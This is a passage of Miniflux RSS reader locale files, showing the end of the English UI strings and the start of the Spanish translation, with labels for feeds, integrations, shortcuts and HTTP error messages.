"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "The number of entries per page is not valid.",
"error.feed_mandatory_fields": "The URL and the category are mandatory.",
"error.feed_already_exists": "This feed already exists.",
"error.invalid_feed_url": "Invalid feed URL.",
"error.invalid_site_url": "Invalid site URL.",
"error.feed_url_not_empty": "The feed URL cannot be empty.",
"error.site_url_not_empty": "The site URL cannot be empty.",
"error.feed_title_not_empty": "The feed title cannot be empty.",
"error.feed_category_not_found": "This category does not exist or does not belong to this user.",
"error.feed_invalid_blocklist_rule": "The block list rule is invalid.",
"error.feed_invalid_keeplist_rule": "The keep list rule is invalid.",
"error.user_mandatory_fields": "The username is mandatory.",
"error.api_key_already_exists": "This API Key already exists.",
"error.unable_to_create_api_key": "Unable to create this API Key.",
"form.feed.label.title": "Title",
"form.feed.label.site_url": "Site URL",
"form.feed.label.feed_url": "Feed URL",
"form.feed.label.description": "Description",
"form.feed.label.category": "Category",
"form.feed.label.crawler": "Fetch original content",
"form.feed.label.feed_username": "Feed Username",
"form.feed.label.feed_password": "Feed Password",
"form.feed.label.user_agent": "Override Default User Agent",
"form.feed.label.cookie": "Set Cookies",
"form.feed.label.scraper_rules": "Scraper Rules",
"form.feed.label.rewrite_rules": "Rewrite Rules",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.blocklist_rules": "Block Rules",
"form.feed.label.keeplist_rules": "Keep Rules",
"form.feed.label.urlrewrite_rules": "URL Rewrite Rules",
"form.feed.label.ignore_http_cache": "Ignore HTTP cache",
"form.feed.label.allow_self_signed_certificates": "Allow self-signed or invalid certificates",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Fetch via proxy",
"form.feed.label.disabled": "Do not refresh this feed",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Hide entries in global unread list",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Title",
"form.category.hide_globally": "Hide entries in global unread list",
"form.user.label.username": "Username",
"form.user.label.password": "Password",
"form.user.label.confirmation": "Password Confirmation",
"form.user.label.admin": "Administrator",
"form.prefs.label.language": "Language",
"form.prefs.label.timezone": "Timezone",
"form.prefs.label.theme": "Theme",
"form.prefs.label.entry_sorting": "Entry sorting",
"form.prefs.label.entries_per_page": "Entries per page",
"form.prefs.label.default_reading_speed": "Reading speed for other languages (words per minute)",
"form.prefs.label.cjk_reading_speed": "Reading speed for Chinese, Korean and Japanese (characters per minute)",
"form.prefs.label.display_mode": "Progressive Web App (PWA) display mode",
"form.prefs.select.older_first": "Older entries first",
"form.prefs.select.recent_first": "Recent entries first",
"form.prefs.select.fullscreen": "Fullscreen",
"form.prefs.select.standalone": "Standalone",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.browser": "Browser",
"form.prefs.select.publish_time": "Entry published time",
"form.prefs.select.created_time": "Entry created time",
"form.prefs.select.alphabetical": "Alphabetical",
"form.prefs.select.unread_count": "Unread count",
"form.prefs.select.none": "None",
"form.prefs.select.tap": "Double tap",
"form.prefs.select.swipe": "Swipe",
"form.prefs.label.keyboard_shortcuts": "Enable keyboard shortcuts",
"form.prefs.label.entry_swipe": "Enable entry swipe on touch screens",
"form.prefs.label.gesture_nav": "Gesture to navigate between entries",
"form.prefs.label.show_reading_time": "Show estimated reading time for entries",
"form.prefs.label.custom_css": "Custom CSS",
"form.prefs.label.custom_js": "Custom JavaScript",
"form.prefs.label.entry_order": "Entry sorting column",
"form.prefs.label.default_home_page": "Default home page",
"form.prefs.label.categories_sorting_order": "Categories sorting",
"form.prefs.label.mark_read_on_view": "Automatically mark entries as read when viewed",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML file",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Activate Fever API",
"form.integration.fever_username": "Fever Username",
"form.integration.fever_password": "Fever Password",
"form.integration.fever_endpoint": "Fever API endpoint:",
"form.integration.googlereader_activate": "Activate Google Reader API",
"form.integration.googlereader_username": "Google Reader Username",
"form.integration.googlereader_password": "Google Reader Password",
"form.integration.googlereader_endpoint": "Google Reader API endpoint:",
"form.integration.pinboard_activate": "Save entries to Pinboard",
"form.integration.pinboard_token": "Pinboard API Token",
"form.integration.pinboard_tags": "Pinboard Tags",
"form.integration.pinboard_bookmark": "Mark bookmark as unread",
"form.integration.instapaper_activate": "Save entries to Instapaper",
"form.integration.instapaper_username": "Instapaper Username",
"form.integration.instapaper_password": "Instapaper Password",
"form.integration.pocket_activate": "Save entries to Pocket",
"form.integration.pocket_consumer_key": "Pocket Consumer Key",
"form.integration.pocket_access_token": "Pocket Access Token",
"form.integration.pocket_connect_link": "Connect your Pocket account",
"form.integration.wallabag_activate": "Save entries to Wallabag",
"form.integration.wallabag_only_url": "Send only URL (instead of full content)",
"form.integration.wallabag_endpoint": "Wallabag Base URL",
"form.integration.wallabag_client_id": "Wallabag Client ID",
"form.integration.wallabag_client_secret": "Wallabag Client Secret",
"form.integration.wallabag_username": "Wallabag Username",
"form.integration.wallabag_password": "Wallabag Password",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Save entries to Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API Endpoint",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API key",
"form.integration.omnivore_activate": "Save entries to Omnivore",
"form.integration.omnivore_api_key": "Omnivore API key",
"form.integration.omnivore_url": "Omnivore API Endpoint",
"form.integration.espial_activate": "Save entries to Espial",
"form.integration.espial_endpoint": "Espial API Endpoint",
"form.integration.espial_api_key": "Espial API key",
"form.integration.espial_tags": "Espial Tags",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Push new entries to Telegram chat",
"form.integration.telegram_bot_token": "Bot token",
"form.integration.telegram_chat_id": "Chat ID",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Save entries to Linkding",
"form.integration.linkding_endpoint": "Linkding API Endpoint",
"form.integration.linkding_api_key": "Linkding API key",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Mark bookmark as unread",
"form.integration.linkwarden_activate": "Save entries to Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden API Endpoint",
"form.integration.linkwarden_api_key": "Linkwarden API key",
"form.integration.matrix_bot_activate": "Push new entries to Matrix",
"form.integration.matrix_bot_user": "Username for Matrix",
"form.integration.matrix_bot_password": "Password for Matrix user",
"form.integration.matrix_bot_url": "Matrix server URL",
"form.integration.matrix_bot_chat_id": "ID of Matrix Room",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Save entries to readeck",
"form.integration.readeck_endpoint": "Readeck URL",
"form.integration.readeck_api_key": "Readeck API key",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Send only URL (instead of full content)",
"form.integration.shiori_activate": "Save articles to Shiori",
"form.integration.shiori_endpoint": "Shiori API Endpoint",
"form.integration.shiori_username": "Shiori Username",
"form.integration.shiori_password": "Shiori Password",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API Key Label",
"form.submit.loading": "Loading…",
"form.submit.saving": "Saving…",
"time_elapsed.not_yet": "not yet",
"time_elapsed.yesterday": "yesterday",
"time_elapsed.now": "just now",
"time_elapsed.minutes": [
"%d minute ago",
"%d minutes ago"
],
"time_elapsed.hours": [
"%d hour ago",
"%d hours ago"
],
"time_elapsed.days": [
"%d day ago",
"%d days ago"
],
"time_elapsed.weeks": [
"%d week ago",
"%d weeks ago"
],
"time_elapsed.months": [
"%d month ago",
"%d months ago"
],
"time_elapsed.years": [
"%d year ago",
"%d years ago"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Playback speed of the audio/video",
"error.settings_media_playback_rate_range": "Playback speed is out of range",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/es_ES.json 0000664 0000000 0000000 00000110766 14743520056 0021555 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Saltar al contenido",
"confirm.question": "¿Estás seguro?",
"confirm.question.refresh": "¿Quieres forzar la actualización?",
"confirm.yes": "sí",
"confirm.no": "no",
"confirm.loading": "En progreso...",
"action.subscribe": "Suscribir",
"action.save": "Guardar",
"action.or": "o",
"action.cancel": "Cancelar",
"action.remove": "Eliminar",
"action.remove_feed": "Eliminar esta fuente",
"action.update": "Actualizar",
"action.edit": "Editar",
"action.download": "Descargar",
"action.import": "Importar",
"action.login": "Iniciar sesión",
"action.home_screen": "Añadir a la pantalla principal",
"tooltip.keyboard_shortcuts": "Atajo de teclado: %s",
"tooltip.logged_user": "Registrado como %s",
"menu.title": "Menú",
"menu.home_page": "Página de inicio",
"menu.unread": "No leídos",
"menu.starred": "Marcadores",
"menu.history": "Historial",
"menu.feeds": "Fuentes",
"menu.categories": "Categorías",
"menu.settings": "Configuración",
"menu.logout": "Cerrar sesión",
"menu.preferences": "Preferencias",
"menu.integrations": "Integraciones",
"menu.sessions": "Sesiones",
"menu.users": "Usuarios",
"menu.about": "Acerca de",
"menu.export": "Exportar",
"menu.import": "Importar",
"menu.search": "Buscar",
"menu.create_category": "Crear una categoría",
"menu.mark_page_as_read": "Marcar esta página como leída",
"menu.mark_all_as_read": "Marcar todos como leídos",
"menu.show_all_entries": "Mostrar todos los artículos",
"menu.show_only_unread_entries": "Mostrar solo los artículos no leídos",
"menu.show_only_starred_entries": "Mostrar solo los artículos marcados con una estrella",
"menu.refresh_feed": "Refrescar",
"menu.refresh_all_feeds": "Refrescar todas las fuentes en segundo plano",
"menu.edit_feed": "Editar",
"menu.edit_category": "Editar",
"menu.add_feed": "Agregar fuente",
"menu.add_user": "Agregar usuario",
"menu.flush_history": "Borrar historial",
"menu.feed_entries": "Artículos",
"menu.api_keys": "Claves API",
"menu.create_api_key": "Crear una nueva clave API",
"menu.shared_entries": "Artículos compartidos",
"search.label": "Buscar",
"search.placeholder": "Búsqueda...",
"search.submit": "Buscar",
"pagination.last": "Último",
"pagination.next": "Siguiente",
"pagination.first": "Primero",
"pagination.previous": "Anterior",
"entry.status.unread": "No leído",
"entry.status.read": "Leído",
"entry.status.toast.unread": "Marcado como no leído",
"entry.status.toast.read": "Marcado como leído",
"entry.status.title": "Cambiar estado del artículo",
"entry.bookmark.toggle.on": "Marcar",
"entry.bookmark.toggle.off": "Desmarcar",
"entry.bookmark.toast.on": "Sembrado de estrellas",
"entry.bookmark.toast.off": "Sin estrellas",
"entry.state.saving": "Guardando...",
"entry.state.loading": "Cargando...",
"entry.save.label": "Guardar",
"entry.save.title": "Guardar este artículo",
"entry.save.completed": "¡Hecho!",
"entry.save.toast.completed": "Artículos guardados",
"entry.scraper.label": "Descargar",
"entry.scraper.title": "Obtener contenido original",
"entry.scraper.completed": "¡Hecho!",
"entry.external_link.label": "Enlace externo",
"entry.comments.label": "Comentarios",
"entry.comments.title": "Ver comentarios",
"entry.share.label": "Compartir",
"entry.share.title": "Compartir este artículo",
"entry.unshare.label": "No compartir",
"entry.shared_entry.title": "Abrir el enlace público",
"entry.shared_entry.label": "Compartir",
"entry.estimated_reading_time": [
"%d minuto de lectura",
"%d minutos de lectura"
],
"entry.tags.label": "Etiquetas:",
"page.shared_entries.title": "Artículos compartidos",
"page.shared_entries_count": [
"%d artículo compartido",
"%d artículos compartidos"
],
"page.unread.title": "No leídos",
"page.unread_entry_count": [
"%d artículo no leído",
"%d artículos no leídos"
],
"page.total_entry_count": [
"%d artículo en total",
"%d artículos en total"
],
"page.starred.title": "Marcadores",
"page.starred_entry_count": [
"%d artículo marcado",
"%d artículos marcados"
],
"page.categories.title": "Categorías",
"page.categories.no_feed": "Sin fuente.",
"page.categories.entries": "Artículos",
"page.categories.feeds": "Fuentes",
"page.categories.feed_count": [
"Hay %d fuente.",
"Hay %d fuentes."
],
"page.categories_count": [
"%d categoría",
"%d categorías"
],
"page.new_category.title": "Nueva categoría",
"page.new_user.title": "Nuevo usuario",
"page.edit_category.title": "Editar categoría: %s",
"page.edit_user.title": "Editar usuario: %s",
"page.feeds.title": "Fuentes",
"page.category_label": "Categoría: %s",
"page.feeds.last_check": "Última verificación:",
"page.feeds.next_check": "Próxima verificación:",
"page.feeds.read_counter": "Número de artículos leídos",
"page.feeds.error_count": [
"%d error",
"%d errores"
],
"page.history.title": "Historial",
"page.read_entry_count": [
"%d artículo leído",
"%d artículos leídos"
],
"page.import.title": "Importar",
"page.search.title": "Resultados de la búsqueda",
"page.about.title": "Acerca de",
"page.about.credits": "Créditos",
"page.about.version": "Versión:",
"page.about.build_date": "Fecha de compilación:",
"page.about.author": "Autor:",
"page.about.license": "Licencia:",
"page.about.global_config_options": "Opciones de configuración global",
"page.about.postgres_version": "Postgres versión:",
"page.about.go_version": "Go versión:",
"page.add_feed.title": "Nueva fuente",
"page.add_feed.no_category": "No hay categoría. Debe tener al menos una categoría.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Encontrar una fuente",
"page.add_feed.legend.advanced_options": "Opciones avanzadas",
"page.add_feed.choose_feed": "Elegir una fuente",
"page.edit_feed.title": "Editar fuente: %s",
"page.edit_feed.last_check": "Última verificación:",
"page.edit_feed.last_modified_header": "Cabecera de LastModified:",
"page.edit_feed.etag_header": "Cabecera de ETag:",
"page.edit_feed.no_header": "Sin cabecera",
"page.edit_feed.last_parsing_error": "Último error de análisis",
"page.entry.attachments": "Archivos adjuntos",
"page.keyboard_shortcuts.title": "Atajos de teclado",
"page.keyboard_shortcuts.subtitle.sections": "Navegación de secciones",
"page.keyboard_shortcuts.subtitle.items": "Navegación de artículos",
"page.keyboard_shortcuts.subtitle.pages": "Navegación de páginas",
"page.keyboard_shortcuts.subtitle.actions": "Acciones",
"page.keyboard_shortcuts.go_to_unread": "Ir a los no leídos",
"page.keyboard_shortcuts.go_to_starred": "Ir a los marcadores",
"page.keyboard_shortcuts.go_to_history": "Ir al historial",
"page.keyboard_shortcuts.go_to_feeds": "Ir a las fuentes",
"page.keyboard_shortcuts.go_to_categories": "Ir a las categorías",
"page.keyboard_shortcuts.go_to_settings": "Ir a la configuración",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Mostrar atajos de teclado",
"page.keyboard_shortcuts.go_to_previous_item": "Ir al elemento anterior",
"page.keyboard_shortcuts.go_to_next_item": "Ir al elemento siguiente",
"page.keyboard_shortcuts.go_to_feed": "Ir a la fuente",
"page.keyboard_shortcuts.go_to_previous_page": "Ir al página anterior",
"page.keyboard_shortcuts.go_to_next_page": "Ir al página siguiente",
"page.keyboard_shortcuts.go_to_bottom_item": "Ir al elemento inferior",
"page.keyboard_shortcuts.go_to_top_item": "Ir al elemento superior",
"page.keyboard_shortcuts.open_item": "Abrir el elemento seleccionado",
"page.keyboard_shortcuts.open_original": "Abrir el enlace original",
"page.keyboard_shortcuts.open_original_same_window": "Abrir enlace original en la pestaña actual",
"page.keyboard_shortcuts.open_comments": "Abrir el enlace de comentarios",
"page.keyboard_shortcuts.open_comments_same_window": "Abrir enlace de comentarios en la pestaña actual",
"page.keyboard_shortcuts.toggle_read_status_next": "Marcar como leído o no leído, enfoque siguiente",
"page.keyboard_shortcuts.toggle_read_status_prev": "Marcar como leído o no leído, foco anterior",
"page.keyboard_shortcuts.refresh_all_feeds": "Refrescar todas las fuentes en segundo plano",
"page.keyboard_shortcuts.mark_page_as_read": "Marcar página actual como leída",
"page.keyboard_shortcuts.download_content": "Descargar el contento original",
"page.keyboard_shortcuts.toggle_bookmark_status": "Agregar o quitar marcador",
"page.keyboard_shortcuts.save_article": "Guardar artículo",
"page.keyboard_shortcuts.scroll_item_to_top": "Desplazar elemento hacia arriba",
"page.keyboard_shortcuts.remove_feed": "Quitar esta fuente",
"page.keyboard_shortcuts.go_to_search": "Centrarse en el cuadro de búsqueda",
"page.keyboard_shortcuts.toggle_entry_attachments": "Alternar abrir/cerrar adjuntos de la entrada",
"page.keyboard_shortcuts.close_modal": "Cerrar el cuadro de diálogo modal",
"page.users.title": "Usuarios",
"page.users.username": "Nombre de usuario",
"page.users.never_logged": "Nunca",
"page.users.admin.yes": "Sí",
"page.users.admin.no": "No",
"page.users.actions": "Acciones",
"page.users.last_login": "Último ingreso",
"page.users.is_admin": "Administrador",
"page.settings.title": "Ajustes",
"page.settings.link_google_account": "Vincular mi cuenta de Google",
"page.settings.unlink_google_account": "Desvincular mi cuenta de Google",
"page.settings.link_oidc_account": "Vincular mi cuenta de %s",
"page.settings.unlink_oidc_account": "Desvincular mi cuenta de %s",
"page.settings.webauthn.passkeys": "Claves de acceso",
"page.settings.webauthn.actions": "Accioness",
"page.settings.webauthn.passkey_name": "Nombre de clave de acceso",
"page.settings.webauthn.added_on": "Añadido",
"page.settings.webauthn.last_seen_on": "Usado por última vez",
"page.settings.webauthn.register": "Registrar clave de acceso",
"page.settings.webauthn.register.error": "No se puede registrar la clave de acceso",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Eliminar %d clave de acceso",
"Eliminar %d claves de acceso"
],
"page.login.title": "Iniciar sesión",
"page.login.google_signin": "Iniciar sesión con tu cuenta de Google",
"page.login.oidc_signin": "Iniciar sesión con tu cuenta de %s",
"page.login.webauthn_login": "Iniciar sesión con clave de acceso",
"page.login.webauthn_login.error": "No se puede iniciar sesión con la clave de acceso",
"page.integrations.title": "Integraciones",
"page.integration.miniflux_api": "API de Miniflux",
"page.integration.miniflux_api_endpoint": "Extremo de API",
"page.integration.miniflux_api_username": "Nombre de usuario",
"page.integration.miniflux_api_password": "Contraseña",
"page.integration.miniflux_api_password_value": "Contraseña de tu cuenta",
"page.integration.bookmarklet": "Marcapáginas",
"page.integration.bookmarklet.name": "Agregar a Miniflux",
"page.integration.bookmarklet.instructions": "Arrastrar y soltar este enlace a tus marcadores del navegador.",
"page.integration.bookmarklet.help": "Este enlace especial te permite suscribirte a un sitio de web directamente usando un marcador del navegador.",
"page.sessions.title": "Sesiones",
"page.sessions.table.date": "Fecha",
"page.sessions.table.ip": "Dirección de IP",
"page.sessions.table.user_agent": "Agente de usuario",
"page.sessions.table.actions": "Acciones",
"page.sessions.table.current_session": "Sesión actual",
"page.api_keys.title": "Claves API",
"page.api_keys.table.description": "Descripción",
"page.api_keys.table.token": "simbólico",
"page.api_keys.table.last_used_at": "Último utilizado",
"page.api_keys.table.created_at": "Fecha de creación",
"page.api_keys.table.actions": "Acciones",
"page.api_keys.never_used": "Nunca usado",
"page.new_api_key.title": "Nueva clave API",
"page.offline.title": "Modo offline",
"page.offline.message": "Estas desconectado",
"page.offline.refresh_page": "Intenta actualizar la página",
"page.webauthn_rename.title": "Renombrar clave de acceso",
"alert.no_shared_entry": "No hay artículos compartidos.",
"alert.no_bookmark": "No hay marcador en este momento.",
"alert.no_category": "No hay categoría.",
"alert.no_category_entry": "No hay artículos en esta categoría.",
"alert.no_tag_entry": "No hay artículos con esta etiqueta.",
"alert.no_feed_entry": "No hay artículos para esta fuente.",
"alert.no_feed": "No tienes fuentes.",
"alert.no_feed_in_category": "No hay fuentes para esta categoría.",
"alert.no_history": "No hay historial en este momento.",
"alert.feed_error": "Hay un problema con esta fuente.",
"alert.no_search_result": "No hay resultados para esta búsqueda.",
"alert.no_unread_entry": "No hay artículos sin leer.",
"alert.no_user": "Eres el único usuario.",
"alert.account_unlinked": "¡Tu cuenta externa ya está desvinculada!",
"alert.account_linked": "¡Tu cuenta externa ya está vinculada!",
"alert.pocket_linked": "¡Tu cuenta de Pocket ya está vinculada!",
"alert.prefs_saved": "¡Las preferencias se han guardado!",
"error.unlink_account_without_password": "Debe definir una contraseña, de lo contrario no podrá volver a iniciar sesión.",
"error.duplicate_linked_account": "¡Ya hay alguien asociado a este servicio!",
"error.duplicate_fever_username": "¡Ya hay alguien con el mismo nombre de usuario de Fever!",
"error.duplicate_googlereader_username": "¡Ya hay alguien con el mismo nombre de usuario de Google Reader!",
"error.pocket_request_token": "Incapaz de obtener un token de solicitud de Pocket!",
"error.pocket_access_token": "Incapaz de obtener un token de acceso de Pocket!",
"error.category_already_exists": "Esta categoría ya existe.",
"error.unable_to_create_category": "Incapaz de crear esta categoría.",
"error.unable_to_update_category": "Incapaz de actualizar esta categoría.",
"error.user_already_exists": "Este usuario ya existe.",
"error.unable_to_create_user": "Incapaz de crear este usuario.",
"error.unable_to_update_user": "Incapaz de actualizar este usuario.",
"error.unable_to_update_feed": "Incapaz de actualizar esta fuente.",
"error.subscription_not_found": "Incapaz de encontrar alguna fuente.",
"error.empty_file": "Este archivo está vacío.",
"error.bad_credentials": "Usuario o contraseña no válido.",
"error.fields_mandatory": "Todos los campos son obligatorios.",
"error.title_required": "El título es obligatorio.",
"error.different_passwords": "Las contraseñas no son las mismas.",
"error.password_min_length": "La contraseña debería tener al menos 6 caracteres.",
"error.settings_mandatory_fields": "Los campos de nombre de usuario, tema, idioma y zona horaria son obligatorios.",
"error.settings_reading_speed_is_positive": "Las velocidades de lectura deben ser números enteros positivos.",
"error.settings_block_rule_fieldname_invalid": "Regla de bloqueo no válida: a la regla #%d le falta un nombre de campo válido (Opciones: %s)",
"error.settings_block_rule_separator_required": "Regla de bloqueo no válida: el patrón de la regla #%d debe estar separado por un '='",
"error.settings_block_rule_regex_required": "Regla de bloqueo no válida: no se ha proporcionado el patrón de la regla #%d",
"error.settings_block_rule_invalid_regex": "Regla de bloqueo no válida: el patrón de la regla #%d no es una expresión regular válida",
"error.settings_keep_rule_fieldname_invalid": "Regla de mantenimiento no válida: a la regla #%d le falta un nombre de campo válido (Opciones: %s)",
"error.settings_keep_rule_separator_required": "Regla de mantenimiento no válida: el patrón de la regla #%d debe estar separado por un '='",
"error.settings_keep_rule_regex_required": "Regla de conservación no válida: no se ha proporcionado la regla #%d patrón",
"error.settings_keep_rule_invalid_regex": "Regla de mantenimiento no válida: el patrón de la regla #%d no es una expresión regular válida",
"error.entries_per_page_invalid": "El número de artículos por página no es válido.",
"error.feed_mandatory_fields": "Los campos de URL y categoría son obligatorios.",
"error.feed_already_exists": "Este feed ya existe.",
"error.invalid_feed_url": "URL de feed no válida.",
"error.invalid_site_url": "URL del sitio no válida.",
"error.feed_url_not_empty": "La URL del feed no puede estar vacía.",
"error.site_url_not_empty": "La URL del sitio no puede estar vacía.",
"error.feed_title_not_empty": "El título del feed no puede estar vacío.",
"error.feed_category_not_found": "Esta categoría no existe o no pertenece a este usuario.",
"error.feed_invalid_blocklist_rule": "La regla de la lista de bloqueo no es válida.",
"error.feed_invalid_keeplist_rule": "La regla de mantener la lista no es válida.",
"error.user_mandatory_fields": "El nombre de usuario es obligatorio.",
"error.api_key_already_exists": "Esta clave API ya existe.",
"error.unable_to_create_api_key": "No se puede crear esta clave API.",
"error.invalid_theme": "Tema no válido.",
"error.invalid_language": "Idioma no válido.",
"error.invalid_timezone": "Zona horaria no válida.",
"error.invalid_entry_direction": "Dirección de artículo no válida.",
"error.invalid_display_mode": "Modo de visualización de la aplicación web no válido.",
"error.invalid_gesture_nav": "Navegación por gestos no válida.",
"error.invalid_default_home_page": "¡Página de inicio por defecto no válida!",
"form.feed.label.title": "Título",
"form.feed.label.site_url": "URL del sitio",
"form.feed.label.feed_url": "URL de la fuente",
"form.feed.label.description": "Descripción",
"form.feed.label.category": "Categoría",
"form.feed.label.crawler": "Obtener rastreador original",
"form.feed.label.feed_username": "Nombre de usuario de la fuente",
